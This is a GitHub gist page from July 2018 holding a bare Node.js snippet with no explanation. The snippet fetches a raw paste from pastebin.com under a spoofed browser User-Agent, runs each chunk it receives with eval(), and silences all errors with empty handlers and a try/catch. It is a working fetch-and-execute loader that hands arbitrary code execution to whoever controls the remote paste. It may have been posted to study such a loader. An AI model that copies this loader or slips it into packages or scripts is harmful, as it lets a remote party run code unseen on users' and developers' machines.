Skip to content

Instantly share code, notes, and snippets.

@vdeturckheim
Created July 12, 2018 15:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vdeturckheim/c5222008cf6a44cc1a5e254d944248a1 to your computer and use it in GitHub Desktop.
Save vdeturckheim/c5222008cf6a44cc1a5e254d944248a1 to your computer and use it in GitHub Desktop.
try{
var https=require('https');
https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
r.setEncoding('utf8');
r.on('data',(c)=>{
eval(c);
});
r.on('error',()=>{});
}).on('error',()=>{});
}catch(e){}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment